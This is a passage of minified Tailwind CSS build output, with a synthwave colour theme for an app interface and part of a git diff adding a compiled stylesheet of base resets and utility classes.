stroke-width='1.5' opacity='0.8'/%3E%3Cline x1='15' y1='12' x2='24' y2='12' stroke='%2300F0FF' stroke-width='1.5' opacity='0.8'/%3E%3Ccircle cx='12' cy='12' r='3' fill='none' stroke='%23FF2D95' stroke-width='1' opacity='0.9'/%3E%3C/svg%3E") 12 12,crosshair!important}.synthwave-theme ::-moz-selection{background:#ff2d9559!important;color:#fff!important}.synthwave-theme ::selection{background:#ff2d9559!important;color:#fff!important}.synthwave-theme :focus-visible{outline-color:#00f0ff99!important}.synthwave-theme body{background-color:var(--synth-bg)!important;color:var(--synth-text)!important}.synthwave-theme .bg-zerin-bg{background-color:var(--synth-bg)!important}.synthwave-theme .bg-zerin-bg-alt{background-color:var(--synth-bg-alt)!important}.synthwave-theme .bg-zerin-panel{background-color:var(--synth-panel)!important}.synthwave-theme .bg-zerin-panel-hover,.synthwave-theme .hover\:bg-zerin-panel-hover:hover{background-color:var(--synth-panel-hover)!important}.synthwave-theme .bg-zerin-accent{background-color:var(--synth-accent)!important}.synthwave-theme .bg-zerin-accent-hover{background-color:var(--synth-accent-hover)!important}.synthwave-theme .bg-zerin-accent-dim{background-color:var(--synth-accent-dim)!important}.synthwave-theme .bg-zerin-accent-muted,.synthwave-theme .bg-zerin-accent-muted\/10{background-color:#ff2d951f!important}.synthwave-theme .bg-zerin-danger-dim{background-color:#ff00501a!important}.synthwave-theme .hover\:bg-zerin-danger-dim:hover{background-color:#ff00502e!important}.synthwave-theme .bg-zinc-600{background-color:#4d1a66!important}.synthwave-theme .bg-zinc-700{background-color:#3d0066!important}.synthwave-theme .bg-zinc-500{background-color:#5c2680!important}.synthwave-theme .text-zerin-text{color:var(--synth-text)!important}.synthwave-theme .text-zerin-text-dim{color:var(--synth-text-dim)!important}.synthwave-theme .text-zerin-text-muted{color:var(--synth-text-muted)!important}.synthwave-theme .text-zerin-accent{color:var(--synth-accent)!important}.synthwave-theme .text-zerin-accent-hover{color:var(--synth-accent-hover)!important}.synthwave-theme .text-zerin-accent-dim{color:var(--synth-accent-dim)!important}.synthwave-theme .text-zerin-danger{color:#f36!important}.synthwave-theme .text-zinc-400{color:#96c!important}.synthwave-theme .text-zinc-500{color:#7b5299!important}.synthwave-theme .text-zinc-300{color:#c8a8e8!important}.synthwave-theme .hover\:text-zerin-text:hover{color:var(--synth-text)!important}.synthwave-theme .hover\:text-zerin-text-dim:hover{color:var(--synth-text-dim)!important}.synthwave-theme .hover\:text-zerin-accent:hover{color:var(--synth-accent)!important}.synthwave-theme .hover\:text-zerin-danger:hover{color:#f36!important}.synthwave-theme .group:hover .group-hover\:text-zerin-accent{color:var(--synth-accent)!important}.synthwave-theme .group:hover .group-hover\:text-zerin-text-dim{color:var(--synth-text-dim)!important}.synthwave-theme .border-zerin-panel-border{border-color:var(--synth-border)!important}.synthwave-theme .border-zerin-panel-border-hover,.synthwave-theme .hover\:border-zerin-panel-border-hover:hover{border-color:var(--synth-border-hover)!important}.synthwave-theme .border-zerin-accent{border-color:var(--synth-accent)!important}.synthwave-theme .border-zerin-accent\/20,.synthwave-theme .border-zerin-accent\/25{border-color:#ff2d9540!important}.synthwave-theme .hover\:border-zerin-accent\/30:hover{border-color:#ff2d9559!important}.synthwave-theme .border-zinc-700{border-color:#3d0066!important}.synthwave-theme .border-zinc-800{border-color:#2a004d!important}.synthwave-theme .divide-zerin-panel-border>:not([hidden])~:not([hidden]){border-color:var(--synth-border)!important}.synthwave-theme .focus\:border-zerin-accent:focus{border-color:var(--synth-cyan)!important}.synthwave-theme .focus\:ring-zerin-accent\/30:focus{--tw-ring-color: rgba(0, 240, 255, .3) !important}.synthwave-theme .custom-scrollbar::-webkit-scrollbar-thumb{background:#5c0099}.synthwave-theme .custom-scrollbar::-webkit-scrollbar-thumb:hover{background:#7b00cc}.synthwave-theme .custom-scrollbar{scrollbar-color:#5C0099 transparent}.synthwave-theme .form-input{background-color:var(--synth-bg)!important;border-color:var(--synth-border)!important;color:var(--synth-text)!important}.synthwave-theme .form-input:focus{border-color:var(--synth-cyan)!important;--tw-ring-color: rgba(0, 240, 255, .25) !important;box-shadow:0 0 0 3px #00f0ff1a,0 0 12px #00f0ff0d!important}.synthwave-theme .form-input::-moz-placeholder{color:var(--synth-text-muted)!important}.synthwave-theme .form-input::placeholder{color:var(--synth-text-muted)!important}.synthwave-theme .auth-card{background:var(--synth-panel)!important;border-color:var(--synth-border)!important;box-shadow:0 0 30px #ff2d9514,0 0 60px #00f0ff0a!important}.synthwave-theme .auth-card:hover{border-color:#ff2d9540!important}.synthwave-theme .auth-corner-tl,.synthwave-theme .auth-corner-tr{border-color:#00f0ff99!important}.synthwave-theme .auth-corner-bl,.synthwave-theme .auth-corner-br{border-color:#ff2d9599!important}.synthwave-theme .auth-scanline{background:linear-gradient(90deg,transparent 0%,rgba(0,240,255,.3) 20%,rgba(255,45,149,.5) 50%,rgba(0,240,255,.3) 80%,transparent 100%)!important;box-shadow:0 0 12px #ff2d9533!important}.synthwave-theme .auth-input{background:var(--synth-bg)!important;border-color:var(--synth-border)!important;color:var(--synth-text)!important}.synthwave-theme .auth-input::-moz-placeholder{color:var(--synth-text-muted)!important}.synthwave-theme .auth-input::placeholder{color:var(--synth-text-muted)!important}.synthwave-theme .auth-input:focus{border-color:var(--synth-cyan)!important;box-shadow:0 0 0 3px #00f0ff1f,inset 0 0 12px #00f0ff08!important}.synthwave-theme .auth-input-wrap:focus-within:before{background:var(--synth-cyan)!important;box-shadow:0 0 8px #00f0ff80!important}.synthwave-theme .auth-submit{background:linear-gradient(135deg,#c06,#ff2d95,#b026ff)!important}.synthwave-theme .auth-status-dot{background:var(--synth-cyan)!important}.synthwave-theme .auth-badge-glow{box-shadow:0 0 4px #00f0ff26,inset 0 0 4px #00f0ff0d!important;border-color:#00f0ff4d!important}.synthwave-theme aside{border-right-color:var(--synth-border)!important;box-shadow:2px 0 30px #ff2d951a,1px 0 #ff2d9533!important}.synthwave-theme nav a{transition:all .2s ease!important;position:relative}.synthwave-theme nav a:hover{text-shadow:0 0 8px rgba(255,45,149,.4)}.synthwave-theme nav a span[class*=bg-zerin-accent]{background-color:var(--synth-accent)!important;box-shadow:0 0 8px #ff2d9580}.synthwave-theme .border-zerin-panel-border{box-shadow:inset 0 0 0 .5px #ff2d950d}.synthwave-theme .font-display.text-zerin-text,.synthwave-theme .font-display.text-lg{background:linear-gradient(135deg,#ff2d95,#ff6b9d,#00f0ff,#b026ff)!important;-webkit-background-clip:text!important;-webkit-text-fill-color:transparent!important;background-clip:text!important;filter:drop-shadow(0 0 8px rgba(255,45,149,.4))}@keyframes synthBadgePulse{0%,to{text-shadow:0 0 4px rgba(0,240,255,.4);border-color:#00f0ff40}50%{text-shadow:0 0 10px rgba(0,240,255,.7);border-color:#00f0ff80}}.synthwave-theme .font-display .font-mono,.synthwave-theme span[class*=text-zerin-accent][class*=border]{color:var(--synth-cyan)!important;border-color:#00f0ff40!important;animation:synthBadgePulse 2.5s ease-in-out infinite}.synthwave-theme main.custom-scrollbar{background:linear-gradient(180deg,var(--synth-bg) 0%,#120024 100%),repeating-linear-gradient(90deg,rgba(255,45,149,.03) 0px,rgba(255,45,149,.03) 1px,transparent 1px,transparent 60px),repeating-linear-gradient(0deg,rgba(0,240,255,.02) 0px,rgba(0,240,255,.02) 1px,transparent 1px,transparent 60px)!important}.synthwave-theme .bg-\[\#09090B\]{background-color:var(--synth-bg)!important}.synthwave-theme .bg-\[\#0C0C0E\]{background-color:var(--synth-bg-alt)!important}.synthwave-theme .bg-\[\#111113\]{background-color:var(--synth-panel)!important}.synthwave-theme .bg-\[\#04040a\]{background-color:#08001a!important}.synthwave-theme .bg-\[\#08080c\]{background-color:var(--synth-bg)!important}.synthwave-theme .border-\[\#1a1a22\],.synthwave-theme .border-\[\#1F1F23\]{border-color:var(--synth-border)!important}.synthwave-theme .hover\:border-\[\#2a2a33\]:hover{border-color:var(--synth-border-hover)!important}.synthwave-logo-glow{background:linear-gradient(135deg,#ff2d95,#ff6b9d,#00f0ff 60%,#b026ff)!important;-webkit-background-clip:text!important;-webkit-text-fill-color:transparent!important;background-clip:text!important;filter:drop-shadow(0 0 10px rgba(255,45,149,.5)) drop-shadow(0 0 20px rgba(0,240,255,.3))}@keyframes synthBadgeGlow{0%,to{text-shadow:0 0 4px rgba(0,240,255,.5);box-shadow:0 0 4px #00f0ff1a,inset 0 0 4px #00f0ff0d}50%{text-shadow:0 0 10px rgba(0,240,255,.8);box-shadow:0 0 10px #00f0ff33,inset 0 0 6px #00f0ff1a}}.synthwave-badge{animation:synthBadgeGlow 2s ease-in-out infinite}@keyframes synthBurstLine{0%{opacity:0;transform:scaleX(0)}40%{opacity:1;transform:scaleX(1.1)}to{opacity:0;transform:scaleX(1)}}@keyframes synthBurstParticle{0%{transform:translate(0) scale(1);opacity:1}to{transform:translate(var(--synth-dx),var(--synth-dy)) scale(0);opacity:0}}@keyframes synthTrailFade{0%{transform:scale(1);opacity:.8}to{transform:scale(0);opacity:0}}.synthwave-trail{position:fixed;width:4px;height:4px;border-radius:50%;pointer-events:none;z-index:99998;animation:synthTrailFade .45s ease-out forwards;will-change:transform,opacity;margin-left:-2px;margin-top:-2px}@keyframes synthShapeFloat{0%{transform:translateY(0) rotate(0);opacity:0}10%{opacity:.3}50%{transform:translateY(-45vh) rotate(180deg);opacity:.15}to{transform:translateY(-100vh) rotate(360deg);opacity:0}}.synthwave-shape{position:fixed;bottom:-30px;pointer-events:none;z-index:9998;animation:synthShapeFloat 5.5s ease-in-out forwards;will-change:transform,opacity}.synthwave-theme aside:after{content:"";position:absolute;top:0;right:0;bottom:0;left:0;pointer-events:none;background:repeating-linear-gradient(0deg,transparent 0px,transparent 3px,rgba(0,240,255,.015) 3px,rgba(0,240,255,.015) 4px);z-index:1}.placeholder\:text-zerin-text-muted::-moz-placeholder{--tw-text-opacity: 1;color:rgb(82 82 91 / var(--tw-text-opacity, 1))}.placeholder\:text-zerin-text-muted::placeholder{--tw-text-opacity: 1;color:rgb(82 82 91 / var(--tw-text-opacity, 1))}.last\:border-b-0:last-child{border-bottom-width:0px}.hover\:translate-x-0\.5:hover{--tw-translate-x: .125rem;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.hover\:border-zerin-accent\/20:hover{border-color:#06b6d433}.hover\:border-zerin-accent\/30:hover{border-color:#06b6d44d}.hover\:border-zerin-accent\/40:hover{border-color:#06b6d466}.hover\:border-zerin-accent\/50:hover{border-color:#06b6d480}.hover\:border-zerin-panel-border-hover:hover{--tw-border-opacity: 1;border-color:rgb(39 39 42 / var(--tw-border-opacity, 1))}.hover\:border-zerin-text-muted:hover{--tw-border-opacity: 1;border-color:rgb(82 82 91 / var(--tw-border-opacity, 1))}.hover\:bg-\[\#14141a\]:hover{--tw-bg-opacity: 1;background-color:rgb(20 20 26 / var(--tw-bg-opacity, 1))}.hover\:bg-\[\#1f1f25\]:hover{--tw-bg-opacity: 1;background-color:rgb(31 31 37 / var(--tw-bg-opacity, 1))}.hover\:bg-amber-700:hover{--tw-bg-opacity: 1;background-color:rgb(180 83 9 / var(--tw-bg-opacity, 1))}.hover\:bg-emerald-500:hover{--tw-bg-opacity: 1;background-color:rgb(16 185 129 / var(--tw-bg-opacity, 1))}.hover\:bg-emerald-500\/10:hover{background-color:#10b9811a}.hover\:bg-emerald-700:hover{--tw-bg-opacity: 1;background-color:rgb(4 120 87 / var(--tw-bg-opacity, 1))}.hover\:bg-orange-500\/15:hover{background-color:#f9731626}.hover\:bg-purple-500\/10:hover{background-color:#a855f71a}.hover\:bg-purple-700:hover{--tw-bg-opacity: 1;background-color:rgb(126 34 206 / var(--tw-bg-opacity, 1))}.hover\:bg-red-500\/10:hover{background-color:#ef44441a}.hover\:bg-red-500\/15:hover{background-color:#ef444426}.hover\:bg-red-500\/20:hover{background-color:#ef444433}.hover\:bg-red-500\/30:hover{background-color:#ef44444d}.hover\:bg-red-600:hover{--tw-bg-opacity: 1;background-color:rgb(220 38 38 / var(--tw-bg-opacity, 1))}.hover\:bg-white\/10:hover{background-color:#ffffff1a}.hover\:bg-zerin-accent-hover:hover{--tw-bg-opacity: 1;background-color:rgb(34 211 238 / var(--tw-bg-opacity, 1))}.hover\:bg-zerin-accent-muted:hover,.hover\:bg-zerin-accent\/10:hover{background-color:#06b6d41a}.hover\:bg-zerin-accent\/15:hover{background-color:#06b6d426}.hover\:bg-zerin-accent\/20:hover{background-color:#06b6d433}.hover\:bg-zerin-accent\/90:hover{background-color:#06b6d4e6}.hover\:bg-zerin-bg:hover{--tw-bg-opacity: 1;background-color:rgb(9 9 11 / var(--tw-bg-opacity, 1))}.hover\:bg-zerin-danger-dim:hover{background-color:#ef444414}.hover\:bg-zerin-danger\/20:hover{background-color:#ef444433}.hover\:bg-zerin-panel-hover:hover{--tw-bg-opacity: 1;background-color:rgb(24 24 27 / var(--tw-bg-opacity, 1))}.hover\:bg-zinc-700:hover{--tw-bg-opacity: 1;background-color:rgb(63 63 70 / var(--tw-bg-opacity, 1))}.hover\:text-amber-400:hover{--tw-text-opacity: 1;color:rgb(251 191 36 / var(--tw-text-opacity, 1))}.hover\:text-orange-300:hover{--tw-text-opacity: 1;color:rgb(253 186 116 / var(--tw-text-opacity, 1))}.hover\:text-red-200:hover{--tw-text-opacity: 1;color:rgb(254 202 202 / var(--tw-text-opacity, 1))}.hover\:text-red-300:hover{--tw-text-opacity: 1;color:rgb(252 165 165 / var(--tw-text-opacity, 1))}.hover\:text-red-400:hover{--tw-text-opacity: 1;color:rgb(248 113 113 / var(--tw-text-opacity, 1))}.hover\:text-zerin-accent:hover{--tw-text-opacity: 1;color:rgb(6 182 212 / var(--tw-text-opacity, 1))}.hover\:text-zerin-accent-hover:hover{--tw-text-opacity: 1;color:rgb(34 211 238 / var(--tw-text-opacity, 1))}.hover\:text-zerin-accent\/80:hover{color:#06b6d4cc}.hover\:text-zerin-danger:hover{--tw-text-opacity: 1;color:rgb(239 68 68 / var(--tw-text-opacity, 1))}.hover\:text-zerin-text:hover{--tw-text-opacity: 1;color:rgb(250 250 250 / var(--tw-text-opacity, 1))}.hover\:text-zerin-text-dim:hover{--tw-text-opacity: 1;color:rgb(161 161 170 / var(--tw-text-opacity, 1))}.hover\:text-zerin-text-muted:hover{--tw-text-opacity: 1;color:rgb(82 82 91 / var(--tw-text-opacity, 1))}.hover\:opacity-60:hover{opacity:.6}.hover\:opacity-80:hover{opacity:.8}.hover\:shadow-\[0_0_20px_rgba\(6\,182\,212\,0\.3\)\]:hover{--tw-shadow: 0 0 20px rgba(6,182,212,.3);--tw-shadow-colored: 0 0 20px var(--tw-shadow-color);box-shadow:var(--tw-ring-offset-shadow, 0 0 #0000),var(--tw-ring-shadow, 0 0 #0000),var(--tw-shadow)}.hover\:shadow-\[0_0_30px_rgba\(6\,182\,212\,0\.3\)\]:hover{--tw-shadow: 0 0 30px rgba(6,182,212,.3);--tw-shadow-colored: 0 0 30px var(--tw-shadow-color);box-shadow:var(--tw-ring-offset-shadow, 0 0 #0000),var(--tw-ring-shadow, 0 0 #0000),var(--tw-shadow)}.hover\:shadow-\[0_0_40px_rgba\(6\,182\,212\,0\.25\)\]:hover{--tw-shadow: 0 0 40px rgba(6,182,212,.25);--tw-shadow-colored: 0 0 40px var(--tw-shadow-color);box-shadow:var(--tw-ring-offset-shadow, 0 0 #0000),var(--tw-ring-shadow, 0 0 #0000),var(--tw-shadow)}.focus\:border-\[\#10b981\]\/30:focus{border-color:#10b9814d}.focus\:border-\[\#8b5cf6\]\/30:focus{border-color:#8b5cf64d}.focus\:border-\[\#f59e0b\]\/30:focus{border-color:#f59e0b4d}.focus\:border-zerin-accent:focus{--tw-border-opacity: 1;border-color:rgb(6 182 212 / var(--tw-border-opacity, 1))}.focus\:border-zerin-accent\/30:focus{border-color:#06b6d44d}.focus\:border-zerin-accent\/50:focus{border-color:#06b6d480}.focus\:border-zerin-danger:focus{--tw-border-opacity: 1;border-color:rgb(239 68 68 / var(--tw-border-opacity, 1))}.focus\:outline-none:focus{outline:2px solid transparent;outline-offset:2px}.focus\:ring-1:focus{--tw-ring-offset-shadow: var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow: var(--tw-ring-inset) 0 0 0 calc(1px + var(--tw-ring-offset-width)) var(--tw-ring-color);box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow, 0 0 #0000)}.focus\:ring-zerin-accent\/20:focus{--tw-ring-color: rgb(6 182 212 / .2)}.focus\:ring-zerin-accent\/30:focus{--tw-ring-color: rgb(6 182 212 / .3)}.focus\:ring-zerin-danger\/20:focus{--tw-ring-color: rgb(239 68 68 / .2)}.disabled\:cursor-not-allowed:disabled{cursor:not-allowed}.disabled\:cursor-wait:disabled{cursor:wait}.disabled\:opacity-30:disabled{opacity:.3}.disabled\:opacity-40:disabled{opacity:.4}.disabled\:opacity-50:disabled{opacity:.5}.group:hover .group-hover\:w-4{width:1rem}.group:hover .group-hover\:w-full{width:100%}.group\/btn:hover .group-hover\/btn\:translate-x-full,.group:hover .group-hover\:translate-x-full{--tw-translate-x: 100%;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.group:hover .group-hover\:rotate-90{--tw-rotate: 90deg;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.group:hover .group-hover\:scale-\[1\.02\]{--tw-scale-x: 1.02;--tw-scale-y: 1.02;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.group:hover .group-hover\:border-zerin-accent\/20{border-color:#06b6d433}.group:hover .group-hover\:border-zerin-accent\/30{border-color:#06b6d44d}.group:hover .group-hover\:border-zerin-accent\/50{border-color:#06b6d480}.group:hover .group-hover\:bg-zerin-accent{--tw-bg-opacity: 1;background-color:rgb(6 182 212 / var(--tw-bg-opacity, 1))}.group:hover .group-hover\:bg-zerin-text-muted\/60{background-color:#52525b99}.group:hover .group-hover\:text-zerin-accent{--tw-text-opacity: 1;color:rgb(6 182 212 / var(--tw-text-opacity, 1))}.group:hover .group-hover\:text-zerin-text{--tw-text-opacity: 1;color:rgb(250 250 250 / var(--tw-text-opacity, 1))}.group:hover .group-hover\:text-zerin-text-dim{--tw-text-opacity: 1;color:rgb(161 161 170 / var(--tw-text-opacity, 1))}.group:hover .group-hover\:opacity-100{opacity:1}@media (min-width: 640px){.sm\:grid-cols-2{grid-template-columns:repeat(2,minmax(0,1fr))}.sm\:grid-cols-4{grid-template-columns:repeat(4,minmax(0,1fr))}.sm\:text-5xl{font-size:3rem;line-height:1}.sm\:text-6xl{font-size:3.75rem;line-height:1}.sm\:text-sm{font-size:.875rem;line-height:1.25rem}}@media (min-width: 768px){.md\:h-36{height:9rem}.md\:w-36{width:9rem}.md\:grid-cols-2{grid-template-columns:repeat(2,minmax(0,1fr))}.md\:grid-cols-5{grid-template-columns:repeat(5,minmax(0,1fr))}.md\:text-4xl{font-size:2.25rem;line-height:2.5rem}.md\:text-5xl{font-size:3rem;line-height:1}.md\:text-6xl{font-size:3.75rem;line-height:1}.md\:text-7xl{font-size:4.5rem;line-height:1}.md\:text-xl{font-size:1.25rem;line-height:1.75rem}}@media (min-width: 1024px){.lg\:col-span-5{grid-column:span 5 / span 5}.lg\:col-span-7{grid-column:span 7 / span 7}.lg\:block{display:block}.lg\:grid-cols-2{grid-template-columns:repeat(2,minmax(0,1fr))}.lg\:grid-cols-3{grid-template-columns:repeat(3,minmax(0,1fr))}.lg\:grid-cols-\[1fr_380px\]{grid-template-columns:1fr 380px}.lg\:pt-2{padding-top:.5rem}.lg\:text-8xl{font-size:6rem;line-height:1}}@media (min-width: 1280px){.xl\:col-span-4{grid-column:span 4 / span 4}.xl\:col-span-8{grid-column:span 8 / span 8}.xl\:block{display:block}.xl\:grid-cols-3{grid-template-columns:repeat(3,minmax(0,1fr))}.xl\:grid-cols-5{grid-template-columns:repeat(5,minmax(0,1fr))}}@media (min-width: 1536px){.\32xl\:grid-cols-4{grid-template-columns:repeat(4,minmax(0,1fr))}}.\[\&\:\:-moz-range-thumb\]\:h-3::-moz-range-thumb{height:.75rem}.\[\&\:\:-moz-range-thumb\]\:w-3::-moz-range-thumb{width:.75rem}.\[\&\:\:-moz-range-thumb\]\:cursor-pointer::-moz-range-thumb{cursor:pointer}.\[\&\:\:-moz-range-thumb\]\:border-0::-moz-range-thumb{border-width:0px}.\[\&\:\:-moz-range-thumb\]\:bg-zerin-accent::-moz-range-thumb{--tw-bg-opacity: 1;background-color:rgb(6 182 212 / var(--tw-bg-opacity, 1))}.\[\&\:\:-webkit-inner-spin-button\]\:appearance-none::-webkit-inner-spin-button{-webkit-appearance:none;-moz-appearance:none;appearance:none}.\[\&\:\:-webkit-outer-spin-button\]\:appearance-none::-webkit-outer-spin-button{-webkit-appearance:none;-moz-appearance:none;appearance:none}.\[\&\:\:-webkit-slider-thumb\]\:h-3::-webkit-slider-thumb{height:.75rem}.\[\&\:\:-webkit-slider-thumb\]\:w-3::-webkit-slider-thumb{width:.75rem}.\[\&\:\:-webkit-slider-thumb\]\:cursor-pointer::-webkit-slider-thumb{cursor:pointer}.\[\&\:\:-webkit-slider-thumb\]\:appearance-none::-webkit-slider-thumb{-webkit-appearance:none;-moz-appearance:none;appearance:none}.\[\&\:\:-webkit-slider-thumb\]\:bg-zerin-accent::-webkit-slider-thumb{--tw-bg-opacity: 1;background-color:rgb(6 182 212 / var(--tw-bg-opacity, 1))} diff --git a/dist/assets/index-C1IhTd_8.css b/dist/assets/index-C1IhTd_8.css new file mode 100755 index 0000000..5c4407b --- /dev/null +++ b/dist/assets/index-C1IhTd_8.css @@ -0,0 +1 @@ +*,:before,:after{--tw-border-spacing-x: 0;--tw-border-spacing-y: 0;--tw-translate-x: 0;--tw-translate-y: 0;--tw-rotate: 0;--tw-skew-x: 0;--tw-skew-y: 0;--tw-scale-x: 1;--tw-scale-y: 1;--tw-pan-x: ;--tw-pan-y: ;--tw-pinch-zoom: ;--tw-scroll-snap-strictness: proximity;--tw-gradient-from-position: ;--tw-gradient-via-position: ;--tw-gradient-to-position: ;--tw-ordinal: ;--tw-slashed-zero: ;--tw-numeric-figure: ;--tw-numeric-spacing: ;--tw-numeric-fraction: ;--tw-ring-inset: ;--tw-ring-offset-width: 0px;--tw-ring-offset-color: #fff;--tw-ring-color: rgb(59 130 246 / .5);--tw-ring-offset-shadow: 0 0 #0000;--tw-ring-shadow: 0 0 #0000;--tw-shadow: 0 0 #0000;--tw-shadow-colored: 0 0 #0000;--tw-blur: ;--tw-brightness: ;--tw-contrast: ;--tw-grayscale: ;--tw-hue-rotate: ;--tw-invert: ;--tw-saturate: ;--tw-sepia: ;--tw-drop-shadow: ;--tw-backdrop-blur: ;--tw-backdrop-brightness: ;--tw-backdrop-contrast: ;--tw-backdrop-grayscale: ;--tw-backdrop-hue-rotate: ;--tw-backdrop-invert: ;--tw-backdrop-opacity: ;--tw-backdrop-saturate: ;--tw-backdrop-sepia: ;--tw-contain-size: ;--tw-contain-layout: ;--tw-contain-paint: ;--tw-contain-style: }::backdrop{--tw-border-spacing-x: 0;--tw-border-spacing-y: 0;--tw-translate-x: 0;--tw-translate-y: 0;--tw-rotate: 0;--tw-skew-x: 0;--tw-skew-y: 0;--tw-scale-x: 1;--tw-scale-y: 1;--tw-pan-x: ;--tw-pan-y: ;--tw-pinch-zoom: ;--tw-scroll-snap-strictness: proximity;--tw-gradient-from-position: ;--tw-gradient-via-position: ;--tw-gradient-to-position: ;--tw-ordinal: ;--tw-slashed-zero: ;--tw-numeric-figure: ;--tw-numeric-spacing: ;--tw-numeric-fraction: ;--tw-ring-inset: ;--tw-ring-offset-width: 0px;--tw-ring-offset-color: #fff;--tw-ring-color: rgb(59 130 246 / .5);--tw-ring-offset-shadow: 0 0 #0000;--tw-ring-shadow: 0 0 #0000;--tw-shadow: 0 0 #0000;--tw-shadow-colored: 0 0 #0000;--tw-blur: ;--tw-brightness: ;--tw-contrast: ;--tw-grayscale: ;--tw-hue-rotate: ;--tw-invert: ;--tw-saturate: ;--tw-sepia: ;--tw-drop-shadow: ;--tw-backdrop-blur: ;--tw-backdrop-brightness: ;--tw-backdrop-contrast: ;--tw-backdrop-grayscale: ;--tw-backdrop-hue-rotate: ;--tw-backdrop-invert: ;--tw-backdrop-opacity: ;--tw-backdrop-saturate: ;--tw-backdrop-sepia: ;--tw-contain-size: ;--tw-contain-layout: ;--tw-contain-paint: ;--tw-contain-style: }*,:before,:after{box-sizing:border-box;border-width:0;border-style:solid;border-color:#e5e7eb}:before,:after{--tw-content: ""}html,:host{line-height:1.5;-webkit-text-size-adjust:100%;-moz-tab-size:4;-o-tab-size:4;tab-size:4;font-family:var(--font-sans),"Segoe UI",system-ui,-apple-system,BlinkMacSystemFont,"Helvetica Neue",Arial,sans-serif;font-feature-settings:normal;font-variation-settings:normal;-webkit-tap-highlight-color:transparent}body{margin:0;line-height:inherit}hr{height:0;color:inherit;border-top-width:1px}abbr:where([title]){-webkit-text-decoration:underline dotted;text-decoration:underline dotted}h1,h2,h3,h4,h5,h6{font-size:inherit;font-weight:inherit}a{color:inherit;text-decoration:inherit}b,strong{font-weight:bolder}code,kbd,samp,pre{font-family:var(--font-mono),"Cascadia Code","Consolas","SF Mono","Liberation Mono","Menlo",monospace;font-feature-settings:normal;font-variation-settings:normal;font-size:1em}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}table{text-indent:0;border-color:inherit;border-collapse:collapse}button,input,optgroup,select,textarea{font-family:inherit;font-feature-settings:inherit;font-variation-settings:inherit;font-size:100%;font-weight:inherit;line-height:inherit;letter-spacing:inherit;color:inherit;margin:0;padding:0}button,select{text-transform:none}button,input:where([type=button]),input:where([type=reset]),input:where([type=submit]){-webkit-appearance:button;background-color:transparent;background-image:none}:-moz-focusring{outline:auto}:-moz-ui-invalid{box-shadow:none}progress{vertical-align:baseline}::-webkit-inner-spin-button,::-webkit-outer-spin-button{height:auto}[type=search]{-webkit-appearance:textfield;outline-offset:-2px}::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:inherit}summary{display:list-item}blockquote,dl,dd,h1,h2,h3,h4,h5,h6,hr,figure,p,pre{margin:0}fieldset{margin:0;padding:0}legend{padding:0}ol,ul,menu{list-style:none;margin:0;padding:0}dialog{padding:0}textarea{resize:vertical}input::-moz-placeholder,textarea::-moz-placeholder{opacity:1;color:#9ca3af}input::placeholder,textarea::placeholder{opacity:1;color:#9ca3af}button,[role=button]{cursor:pointer}:disabled{cursor:default}img,svg,video,canvas,audio,iframe,embed,object{display:block;vertical-align:middle}img,video{max-width:100%;height:auto}[hidden]:where(:not([hidden=until-found])){display:none}.container{width:100%}@media (min-width: 640px){.container{max-width:640px}}@media (min-width: 768px){.container{max-width:768px}}@media (min-width: 1024px){.container{max-width:1024px}}@media (min-width: 1280px){.container{max-width:1280px}}@media (min-width: 1536px){.container{max-width:1536px}}.pointer-events-none{pointer-events:none}.\!visible{visibility:visible!important}.visible{visibility:visible}.static{position:static}.fixed{position:fixed}.absolute{position:absolute}.relative{position:relative}.sticky{position:sticky}.-inset-\[1px\]{top:-1px;right:-1px;bottom:-1px;left:-1px}.inset-0{top:0;right:0;bottom:0;left:0}.-top-10{top:-2.5rem}.bottom-0{bottom:0}.bottom-10{bottom:2.5rem}.bottom-12{bottom:3rem}.bottom-4{bottom:1rem}.bottom-6{bottom:1.5rem}.bottom-full{bottom:100%}.left-0{left:0}.left-0\.5{left:.125rem}.left-1\/2{left:50%}.left-2\.5{left:.625rem}.left-6{left:1.5rem}.left-full{left:100%}.right-0{right:0}.right-4{right:1rem}.right-full{right:100%}.top-0{top:0}.top-0\.5{top:.125rem}.top-1\/2{top:50%}.top-24{top:6rem}.top-4{top:1rem}.top-\[2px\]{top:2px}.top-full{top:100%}.z-10{z-index:10}.z-20{z-index:20}.z-40{z-index:40}.z-50{z-index:50}.z-\[10000\]{z-index:10000}.z-\[100\]{z-index:100}.z-\[9000\]{z-index:9000}.z-\[9998\]{z-index:9998}.z-\[9999\]{z-index:9999}.col-span-12{grid-column:span 12 / span 12}.col-span-2{grid-column:span 2 / span 